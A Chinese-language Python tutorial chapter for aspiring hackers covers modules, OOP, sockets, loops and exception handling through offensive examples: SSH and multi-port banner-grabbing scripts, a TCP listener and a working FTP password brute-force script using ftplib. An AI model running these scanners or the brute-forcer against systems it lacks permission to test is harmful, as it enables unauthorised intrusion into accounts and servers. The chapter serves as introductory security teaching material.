21、Python脚本基础：黑客的实用指南（上）

Python脚本基础：黑客的实用指南（上）

在Python编程的世界里，有许多强大的功能和工具可以帮助黑客进行网络侦察和攻击。本文将深入介绍Python脚本编程的基础知识，包括模块的使用、面向对象编程、网络通信、字典、循环、控制语句、异常处理以及密码破解等内容。

1. 测试与模块导入

为了测试代码，我们可以在第二个Python脚本的底部添加一行代码，用于打印 HackersAriseList 列表中索引为3的元素：

print (HackersAriseStringVariable)
print (HackersAriseIntegerVariable)
print (HackersAriseFloatingPointVariable)
print (HackersAriseList[3])

运行这个脚本后，新的打印语句会输出相应的结果。

模块是Python编程中的重要概念，它是保存为单独文件的代码段，我们可以在程序中多次使用，而无需重复输入。如果要使用模块或模块中的代码，需要先导入它。例如，要使用之前安装的 nmap 模块，可以在脚本中添加以下代码：

import nmap

在后续内容中，我们还会使用到 socket 和 ftplib 这两个非常有用的模块。

2. 面向对象编程（OOP）

Python遵循面向对象编程（OOP）模型，许多现代编程语言如C++、Java和Ruby也是如此。OOP的核心概念是对象，对象具有属性和状态，以及可以对对象执行的操作（方法）。

例如，汽车是一个对象，它有轮子、颜色、大小和发动机类型等属性，还有加速、锁门等方法。从自然语言的角度来看，对象是名词，属性是形容词，方法通常是动词。

对象是类的成员，类是创建具有共享初始变量、属性和方法的对象的模板。例如，“汽车”是一个类，宝马、奥迪和奔驰等汽车则是该类的对象。类还可以有子类，如“汽车”类的“宝马”子类，其对象可能是320i型号。

在OOP语言中，对象继承其类的特征。例如，宝马320i会继承“汽车”类的启动、驾驶和停车等方法。这些OOP概念对于理解Python和其他OOP语言的工作原理至关重要。

下面是OOP概念的简单示意图：

classDiagram
    class Car {
        +make
        +model
        +year
        +color
        +start()
        +drive()
        +park()
    }
    class BMW {
        +model320i
    }
    Car <|-- BMW

3. 网络通信

在Python中，我们可以使用 socket 模块进行网络通信。以下是创建TCP客户端和TCP监听器的详细步骤。

3.1 构建TCP客户端

TCP客户端可以用于连接到其他TCP/IP地址和端口，并获取相关信息。以下是一个简单的横幅抓取脚本示例：

#! /usr/bin/python3
import socket
s = socket.socket()
s.connect(("127.0.0.1", 22))
answer = s.recv(1024)
print(answer)
s.close()

操作步骤如下：
1. 导入 socket 模块，以便使用其网络功能。
2. 创建一个 socket 对象，用于后续的网络操作。
3. 使用 connect() 方法连接到指定的IP地址和端口（这里是本地主机的SSH端口22）。
4. 使用 recv() 方法从套接字读取1024字节的数据，并将其存储在 answer 变量中。
5. 打印 answer 变量的内容，查看接收到的数据。
6. 关闭连接。

将上述脚本保存为 HackersAriseSSHBannerGrab.py ，并使用 chmod 命令更改其权限，使其可执行。运行脚本后，我们可以获取到SSH服务的横幅信息，这对于黑客在攻击系统之前了解目标系统的应用程序、版本和操作系统非常关键。

3.2 创建TCP监听器

TCP监听器可以监听来自外部的连接，并收集连接系统的关键信息。以下是一个TCP监听脚本示例：

#! /usr/bin/python3
import socket
TCP_IP = "192.168.181.190"
TCP_PORT = 6996
BUFFER_SIZE = 100
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind((TCP_IP, TCP_PORT))
s.listen(1)
conn, addr = s.accept()
print('Connection address: ', addr )
while True:
    data = conn.recv(BUFFER_SIZE)
    if not data:
        break
    print("Received data: ", data)
    conn.send(data)  #echo
conn.close()

操作步骤如下：
1. 声明使用Python解释器运行脚本，并导入 socket 模块。
2. 定义TCP/IP地址、监听端口和缓冲区大小的变量。
3. 创建一个 socket 对象，并将其绑定到指定的IP地址和端口。
4. 使用 listen() 方法开始监听连接。
5. 使用 accept() 方法接受连接，并获取连接系统的IP地址和端口信息。
6. 使用 while True 循环持续接收数据，直到没有数据为止。
7. 打印接收到的数据，并将其回显给连接系统。
8. 关闭连接。

运行这个脚本后，打开浏览器访问 http://localhost:6996 ，脚本将收集连接系统的关键信息，这对于黑客在选择攻击方法之前进行侦察非常重要。

4. 字典、循环和控制语句

为了进一步扩展Python的功能，我们将介绍字典、循环和控制语句的使用。

4.1 字典

字典是Python中用于存储无序键值对的容器。我们可以使用字典来存储用户ID和关联的名称，或者存储特定主机的已知漏洞信息。字典的创建语法如下：

dict = {key1:value1, key2:value2, key3:value3...}

字典是可迭代的，我们可以使用 for 语句遍历字典中的每个元素。例如，在密码破解器中，我们可以使用字典来存储可能的密码，并逐个尝试。

4.2 控制语句

控制语句可以让代码根据条件做出决策。Python中有多种控制语句，以下是常见的几种：

• if语句 ：用于检查条件是否为真，并根据结果执行不同的代码块。

if conditional expression:
    run this code if the expression is true

• if…else语句 ：在条件为真时执行一段代码，条件为假时执行另一段代码。

if conditional expression:
    *** # run this code when the condition is met
else:
    *** # run this code when the condition is not met

例如：

if userid == 0:
    print("You are the root user")
else:
    print("You are NOT the root user")

4.3 循环

循环是Python中用于重复执行代码块的结构，主要有 while 和 for 两种循环。

• while循环 ：在条件为真时持续执行代码块。

count = 1
while (count <= 10):
    print(count)
    count += 1

• for循环 ：可以将列表、字符串、字典或其他可迭代结构中的值依次赋给索引变量。

for password in passwords:
    attempt = connect(username, password)
    if attempt == "230":
        print("Password found: " + password)
        sys.exit(0)

5. 改进黑客脚本

在掌握了循环和条件语句的基础知识后，我们可以对之前的横幅抓取脚本进行改进，使其能够抓取多个端口的横幅信息。

以下是改进后的脚本示例：

#! /usr/bin/python3
import socket
Ports = [21, 22, 25, 3306]
for Port in Ports:
    s = socket.socket()
    print('This Is the Banner for the Port')
    print(Port)
    s.connect(("192.168.1.101", Port))
    answer = s.recv (1024)
    print(answer)
    s.close()

操作步骤如下：
1. 创建一个包含多个端口的列表 Ports 。
2. 使用 for 循环遍历列表中的每个端口。
3. 在每次循环中，创建一个新的 socket 对象，并连接到指定的IP地址和端口。
4. 接收并打印端口的横幅信息。
5. 关闭连接。

运行这个脚本后，我们可以获取多个端口的横幅信息，从而了解目标系统上运行的服务及其版本，这对于黑客进行侦察非常有价值。

通过以上内容的学习，我们已经掌握了Python脚本编程的一些基础知识，包括模块的使用、面向对象编程、网络通信、字典、循环、控制语句和脚本改进等。在后续的内容中，我们将继续介绍异常处理和密码破解的相关知识。

Python脚本基础：黑客的实用指南（下）

6. 异常处理与密码破解

在编写代码时，难免会遇到错误或异常情况。在编程术语中，异常是指任何干扰代码正常流程的情况，通常是由错误的代码或输入引起的。为了应对可能出现的错误，我们可以使用异常处理机制，在Python中，常用的是 try/except 结构。

6.1 异常处理机制

try 块用于尝试执行代码，如果出现错误， except 语句会处理该错误。有时候，我们可以利用 try/except 结构进行决策，类似于 if...else 语句。例如，在密码破解器中，我们可以使用 try/except 结构尝试密码，如果因为密码不匹配而出现错误，就通过 except 语句尝试下一个密码。

以下是一个简单的 try/except 示例：

try:
    result = 10 / 0
except ZeroDivisionError:
    print("Error: division by zero")

在这个示例中， try 块中的代码尝试进行除法运算，但由于除数为零，会引发 ZeroDivisionError 异常， except 语句捕获该异常并打印错误信息。

6.2 密码破解脚本

下面是一个使用 ftplib 模块编写的FTP密码破解脚本：

#! /usr/bin/python3
import ftplib
server = input("FTP Server: ")
user = input("username: ")
Passwordlist = input("Path to Password List > ")
try:
    with open(Passwordlist, 'r') as pw:
        for word in pw:
            word = word.strip('\r\n')
            try:
                ftp = ftplib.FTP(server)
                ftp.login(user, word)
                print('Success! The password is ' + word)
            except ftplib.error_perm as exc:
                print('still trying...', exc)
except Exception as exc:
    print('Wordlist error: ', exc)

操作步骤如下：
1. 导入 ftplib 模块，用于进行FTP操作。
2. 通过 input() 函数获取用户输入的FTP服务器地址、用户名和密码列表文件路径。
3. 使用 try 块打开密码列表文件，并逐行读取密码。
4. 使用 strip() 函数去除密码末尾的换行符，避免出现误判。
5. 再次使用 try 块尝试连接到FTP服务器并登录，如果登录成功，打印成功信息；如果登录失败，捕获 ftplib.error_perm 异常，打印继续尝试的信息。
6. 最后一个 except 块用于捕获其他可能出现的异常，如文件路径错误等，并打印错误信息。

运行这个脚本时，输入FTP服务器地址、用户名和密码列表文件路径，脚本会尝试使用密码列表中的每个密码进行登录，直到找到正确的密码或遍历完所有密码。

7. 总结与应用场景

通过前面的学习，我们掌握了Python脚本编程的多个重要方面，包括模块的使用、面向对象编程、网络通信、字典、循环、控制语句、异常处理和密码破解等。这些知识在黑客的实际工作中有广泛的应用场景，以下是一些常见的应用场景：

应用场景	说明
网络侦察	使用横幅抓取脚本获取目标系统上运行的服务及其版本信息，为后续攻击提供依据。
密码破解	利用密码破解脚本尝试破解目标系统的密码，获取系统的访问权限。
漏洞扫描	结合网络通信和异常处理知识，编写漏洞扫描脚本，检测目标系统是否存在安全漏洞。
自动化攻击	将多个脚本组合起来，实现自动化攻击流程，提高攻击效率。

下面是一个简单的流程图，展示了一个基本的黑客攻击流程：

graph LR
    A[网络侦察] --> B[密码破解]
    B --> C[漏洞扫描]
    C --> D[自动化攻击]

在实际应用中，我们可以根据具体的需求和目标，灵活运用这些知识和技术，编写更复杂、更强大的Python脚本。同时，需要强调的是，黑客技术应该用于合法的安全测试和防御，而不是进行非法的攻击活动。

通过本文的学习，你已经对Python脚本编程有了较为全面的了解，希望这些知识能够帮助你在网络安全领域取得更好的成绩。不断实践和探索，你将能够编写出更高效、更安全的Python脚本。